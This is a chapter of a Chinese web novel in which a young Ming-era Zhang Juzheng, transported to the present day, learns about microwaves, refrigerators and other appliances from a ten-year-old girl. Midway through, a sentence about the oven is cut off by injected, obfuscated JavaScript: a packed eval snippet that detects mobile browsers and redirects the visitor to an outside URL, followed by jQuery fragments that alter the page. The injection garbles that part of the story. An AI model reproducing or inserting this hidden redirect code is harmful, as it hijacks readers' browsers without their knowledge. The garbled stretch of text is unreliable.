16.第 16 章

作品:《我的竹马男友是大明张居正

    然后,张白圭才轻声说:“无马之国,运输全赖机械。则驿站、马政、草料、马夫、蹄铁匠、兽医……一整套旧制,全数革除。”


    他转过头,看向温暖,惊叹道:“后世之变,非一器一物。”


    “乃整套天下运行之理,皆换了根基。”


    温暖眨眨眼。她完全听不懂,但觉得他说这话时的样子像极了历史纪录片里那种注定要干大事的人,连侧脸的轮廓都被晨光镀上了一层金边。


    “叮——”这时候,微波炉的响声打破了沉默。


    “早餐好啦。”温暖欢呼一声,哒哒哒跑回厨房,从微波炉里端出两个热气腾腾的包子、一盒烧卖、两杯插好吸管的豆浆。


    “给。”她把一份推到张白圭面前,“可好吃啦。猪肉白菜馅的。”


    张白圭收敛心神,走到餐桌旁。坐下时,他下意识地整理了一下衣摆和后襟,确保坐姿端正,衣袍不起皱折。这个刻入骨髓的习惯动作做完,他才微微一怔。在这里,似乎并没有人在意这些礼仪细节。


    而眼前的温小娘子目前看起来,是更加不在乎这些礼仪了。


    张白圭接过那个用透明薄膜包裹着的、软乎乎、冒着诱人热气的包子。


    入手温热,却没有烫感。他仔细看了看包裹包子的透明薄膜,薄如蝉翼,却滴水不透。他试探性地用指甲轻划,薄膜只是微微凹陷,竟未破裂。


    他指着那层膜:“此物是纸?还是绢?”


    “是塑料啊。”温暖已经撕开自己的那袋,咬了一大口,“微波炉专用保鲜膜。可以直接加热。”


    “微波炉?”张白圭看向那个方方正正的白色箱子,“无火而热,此微波,是何波?与水波、声波同类否?”


    温暖被问住了。她咬着包子想了想,腮帮子鼓鼓的:“就是用电的波,把食物里的水分子震热。”


    说完她自己也有点不确定,小声嘀咕,“科学课老师好像是这么说的。”


    张白圭眉头微蹙。他又拿起豆浆杯。杯身上印着花花绿绿的字:原味豆浆、保质期7天、冷藏保存。


    他问:“此浆如何能存七日不腐?我朝豆浆,半日便酸。”


    “加了防腐剂呀。还用了超高温灭菌,就是用很高的温度把细菌都杀死。”


    温暖说完,看着张白圭越发困惑的表情,忽然福至心灵,笑道:“诶,就像你们用沸水煮茶具消毒,差不多道理。”


    每个答案都让张白圭似解非解。他终于放下豆浆杯,摸了摸杯壁光滑的曲面,认真地看向温暖:“温小娘子,你们寻常百姓,皆如此不深究物之理么?”


    温暖眨眨眼,把最后一口包子塞进嘴里,含糊却理直气壮:“为什么要深究?会用就行啦。”


    她咽下食物,眼睛亮亮地开始举例:“就像你会用毛笔写字,但你知道毛笔是怎么做的吗?狼毫怎么取的?笔杆怎么磨的?胶怎么熬的?”


    张白圭一怔。


    是啊,他会用毛笔,写得一手好字,却从不知一支笔要经过多少道工序。


    温暖来了劲,继续道:“还有还有,你会坐轿子,但你知道轿子怎么做的吗?木头怎么砍的?轿帘怎么绣的?轿夫是怎么选拔训练的?”


    张白圭沉默片刻,忽然低低笑了一声。那笑声很轻,却像晨雾散去后第一缕阳光,让他整张脸都明亮起来。


    然后他轻声说:“我明白了。”


    “后世之人,各精一业。农人不必知天文亦能种地,匠人不必通经义亦可造楼。”


    “让最擅长的人,做最擅长的事。其余人只需会用,便得便利。”


    温暖用力点头,马尾辫一甩一甩:“对对对,我爸爸说,这就叫,嗯……就像蚂蚁窝,工蚁搬吃的,兵蚁打架,蚁后生宝宝,各干各的,但整个窝就特别好。”


    她歪头想了想,又补充,“不过我爸爸说的那个词更厉害,叫社会分……分什么来着。”


    她说到这里忽然想起什么,“哎呀,那你们科举考那么多经义,是不是也算一种让最擅长读书的人去做官的分工?”


    张白圭眸光一闪,似有触动,却未接这话头。他只是看着眼前这个对一切神奇都习以为常的小娘子。忽然觉得,这或许才是后世最震撼之处。


    不是那些铁车高楼。而是一代人,在巨量的、复杂如迷宫的知识面前,坦然地说,我不用懂,我会用就行的底气。


    这底气背后,是一整套精密到可怕的社会协作。是无数人默默筑起的高墙,将艰深晦涩的原理,转化成拧开龙头就有的水、按下开关就亮的光、撕开包装就能吃的热包子。


    张白圭拿起豆浆,吸了一口,甜的,温度刚好。放下杯子时,他的目光再次投向窗外,看着那些行走在斑马线上、对红绿灯习以为常的行人。


    然后他转回头,不是看温暖,而是看着她手腕上那串能带他来此的手串,轻声说:“温小娘子,我欲从最基础的学起。”


    “先教我认那红绿灯,为何红停绿行?再教我洗衣机,水从何来,污往何去?还有这微波炉,波如何能热物?”


    “教我如何用你们后世的眼,看这个你们习以为常、却让我……”他想起自己夜半掌灯重读数学册的悸动,改口道:“却让我觉得,活着真好,能看见这些,真好的世界。”


    温暖咧嘴笑了,伸出手掌:“击掌为誓,包在我身上。”


    张白圭看着那只悬在半空的手掌,犹豫一瞬,终于也抬起手,轻轻迎了上去。


    “啪”,一声轻响,跨越五百年。


    窗外,城市的早高峰还在继续,车流如织,人潮涌动。


    窗内,两个身影坐在餐桌旁。


    一个穿着月白直裰小少年,正小心撕开保鲜膜,研究包子的褶皱为何如此均匀。


    一个穿着牛仔背带裤的小女孩,已经点开手机,在搜索:“如何向古人解释拼音和洗衣机原理,啊还有微波炉。”


    阳光洒在他们身上,一样温暖。


    。。。。。


    温暖按下微波炉开关,不久就听见“叮”的一声。


    “看,热好啦。”她兴高采烈地打开门,戴着隔热手套端出一盘奶黄包。


    张白圭却没有立即看包子。他盯着那个方正的铁盒子,眉头微蹙:“三十息便熟,若行军途中得此物,埋锅造饭之速,可增十倍。”


    温暖愣了愣:“啊?你们打仗还要自己做饭呀?”


    “自然。”张白圭接过包子,咬了一口,奶黄馅甜而不腻。他细细咀嚼,忽然问:“此馅可是鸡蛋所制?如何调至如此绵密?”


    “超市买的半成品啦。”温暖自己也抓了一个,“我妈妈忙的时候,就丢进微波炉叮一下。”


    “超市?”张白圭疑惑,刚想问却被温暖打断了。


    “来来来,看这个。”温暖已经跑到冰箱前,一把拉开冷冻室。


    冷气扑面而出。张白圭下意识后退半步,又忍不住上前。


    冷冻室里,整整齐齐码着雪糕、速冻饺子、冰激凌盒。他取出一支印着巧克力脆皮的雪糕,塑料包装在掌心冰凉。


    他低声问:“此冰糕,可存多久?”


    “放这里,半年没问题。”


    张白圭的手指倏然收紧。他转身看向温暖,眼中有什么东西被点燃了:“江陵夏日,三伏之际,冰价堪比白银。富户设宴,以窖藏冰镇瓜果为荣,一宴耗冰数十斤,所费不赀。”


    他举起那支雪糕:“而此物,寻常百姓之家,竟可随意取食?”


    温暖被他眼中的火光吓了一跳:“也、也不是随意啦,吃多了会拉肚子的。”


    张白圭却已大步走回餐桌,翻开小本子,记录:


    【冰箱。夏日自生寒冰,储食半岁不腐。若得此技,则南北货殖、药石保存、民生度夏,皆可改易。】


    写罢,他深吸一口气,抬头时已恢复平静:“继续吧。”


    温暖眨眨眼,觉得这位古人朋友切换状态的速度,简直像她玩游戏的切换键,一秒切换。


    当张白圭准备追问第三个电器时,温暖忽然跳上椅子,居高临下地指着他:“停,张白圭同学,现在我是老师。”


    她模仿班主任扶眼镜的动作:“老师还没讲到的部分,学生不可以抢答提问。”


    张白圭仰头看着这个突然威严起来的小夫子,愣了两秒,眼中闪过笑意,竟真的拱手行礼:“是,温先生。学生唐突了。”


    温暖满意点头:“这还差不多。现在,我们继续参观。”


    当老师的感觉,还挺爽嘛,嘻嘻。


    接下来的展示,她就有意放慢了节奏,燃气灶的蓝色火苗,张白圭研究了火孔分布。抽油烟机的轰鸣,他仰头看了风道走向。电磁炉的玻璃面板,他伸手确认并无余温。


    看完后,张白圭揉了揉眉心,轻声自语:“今日所见,已超我半生所学之奇。须得缓一缓。”


    他看向温暖,“温小娘子,容我静思片刻。”


    但当他蹲在洗碗机前,透过玻璃门看里面旋转的喷臂,他轻声说:“自动洗涤,则无需仆妇涮碗。若此技可解万千女子劳苦,她们腾出的时辰,可习字、可务工、可做更多想做的事。”


    温暖正要说,解放双手嘛,张白圭已站起身,走向最后一件电器。


    “此又是何物?”


    “烤箱。能烤蛋糕、饼干,哦还有空气炸锅,炸薯条不用很多油。”温暖按下开关,显示屏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151970|196365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亮起数字,“你看,可以调温度和时间。”


    张白圭看着那两个方方正正的铁箱子,沉默良久。然后他忽然笑了:“一炉专司加热,一箱专司制冷,一机专司洗涤,后世庖厨之器,竟细分至此。”


    他摇头轻叹,“我朝御膳房,名厨掌勺,学徒打杂,一案一灶而已。而你们是以器物之精,补人力之简?”


    温暖还没想明白这话的意思,但是她兴奋地说:“小美家还有扫地机器人呢。圆圆的一个盘子,在地上转来转去就把地扫了,还会自己躲开椅子腿,没电了自己跑回去充电。”


    张白圭正在记录的手,顿住了:“……自、己、回、去?”


    “对呀,它认得充电桩的位置。”


    张白圭缓缓抬头,肃穆道:“《山海经·西山经》载,昆仑有兽,状如犬,名谛听,伏地可辨三界诸音,晓善恶,明是非,夜则自归其穴。”


    “温小娘子,此铁盘,竟通灵至此?”


    温暖张了张嘴,她看着张白圭无比认真的脸,又想象了一下扫地机器人和神兽谛听并肩趴在地上的画面。


    “噗,哈哈哈哈哈哈。”她笑得弯下腰,“谛、谛听。哈哈哈哈,那它的充电桩就是狗窝。哈哈哈哈——”


    张白圭看着笑出眼泪的温暖,先是困惑,随即明白了什么,唇角也忍不住上扬。但他还是在小本子上,郑重写下:【扫地铁盘,自归充力,疑似通灵。若可驯养,则洒扫杂役皆可省却。注:温小娘子闻谛听之比,笑不可抑。或我多虑?】


    写到这里,他环视整个厨房和各种他没有见过的所谓电器,这一切,和他那个需要劈柴烧水、仆妇穿梭、烛火摇曳的明代厨房,隔着的不仅是器物,是整整五百年。


    “温小娘子,我有一问。”


    温暖停下笑,说:“哎哟,早就想跟你说了,不要叫我小娘子,好奇怪啦,叫我名字,温暖,或者暖暖,我爸爸妈妈都是这么叫我的。”


    张白圭顿了下,呼唤闺阁女子的闺名是一件失礼的事,可是这是后世,罢了,入乡随俗吧。


    “温暖,我有一问。”


    “说。”


    “此等神技,”他指向微波炉、冰箱、洗碗机,最后指向窗外看不见但存在的电网,道:“遍及万民之家,你们的朝廷,是如何做到的?”


    温暖的笑容,慢慢僵在脸上,她咬着下唇,眨了眨眼,又眨了眨眼,脑子里飞快闪过小学社会课的片段,什么五年计划、基础设施建设、改革开放、脱贫攻坚……都朦胧不清了,她不记得了。


    她变小声地说:“呃,就是,国家建的呀。”


    “如何建?”张白圭追问,“钱从何来?力从何出?如何确保穷乡僻壤亦得通电?如何令匠人愿造、商人愿贩、百姓愿买?如何……”


    “停停停。”温暖双手举起做投降状,“张白圭,张同学。”


    她哭丧着脸:“你这些问题,得去问我爸,或者我们政治老师。我、我上次社会课,在偷偷画漫画来着。”


    温暖挠挠头,忽然眼睛一亮:“等等,我好像记得一点,老师说过什么基建狂魔?”


    她努力回忆,“就是国家特别爱修路、修电网、修信号塔,哦对了,还有集中力量办大事。”


    说完她有点心虚,“呃,大概就是这个意思吧。”


    张白圭却若有所思,在小本子上写下:【基建狂魔。集中力量办大事。】


    他点头:“虽言语俚俗,却似有至理。”


    张白圭看着她窘迫的模样,忽然想起,眼前这个能操控诸多神器的孩子,也不过十岁。在她眼里,这些不是震撼五百年的奇迹,只是生活。


    “也罢。”他合上小本子,温和道,“那今日,先学你应允之事。”


    温暖如蒙大赦:“拼音,对对对,说好教你拼音的。”


    她蹦起来去拿课本。


    张白圭坐在晨光里,看着她的背影,忽然想起自己三岁开蒙那日。


    先生将《千字文》郑重放在他面前,说:“此乃字之根本,天下之学,皆自此始。”


    那时他觉得,识字是这世上最庄严的事。


    而今,五百年后,一个穿着奇怪短衣的小娘子,拿着一本画满奇怪符号的彩图课本,蹦跳着说:“我们来学拼音啦。”


    他忽然很好奇,好奇这后世孩童开蒙第一课,会比《千字文》更简单,还是更难?


    好奇这些弯曲的符号,究竟藏着怎样的天下之学?


    窗外的城市继续运转。


    车流声隐约传来,远处工地塔吊转动,更远处,轻轨列车划过天际线。


    而在这个寻常的客厅里,一场可能颠覆他所有识字认知的课,正要开始。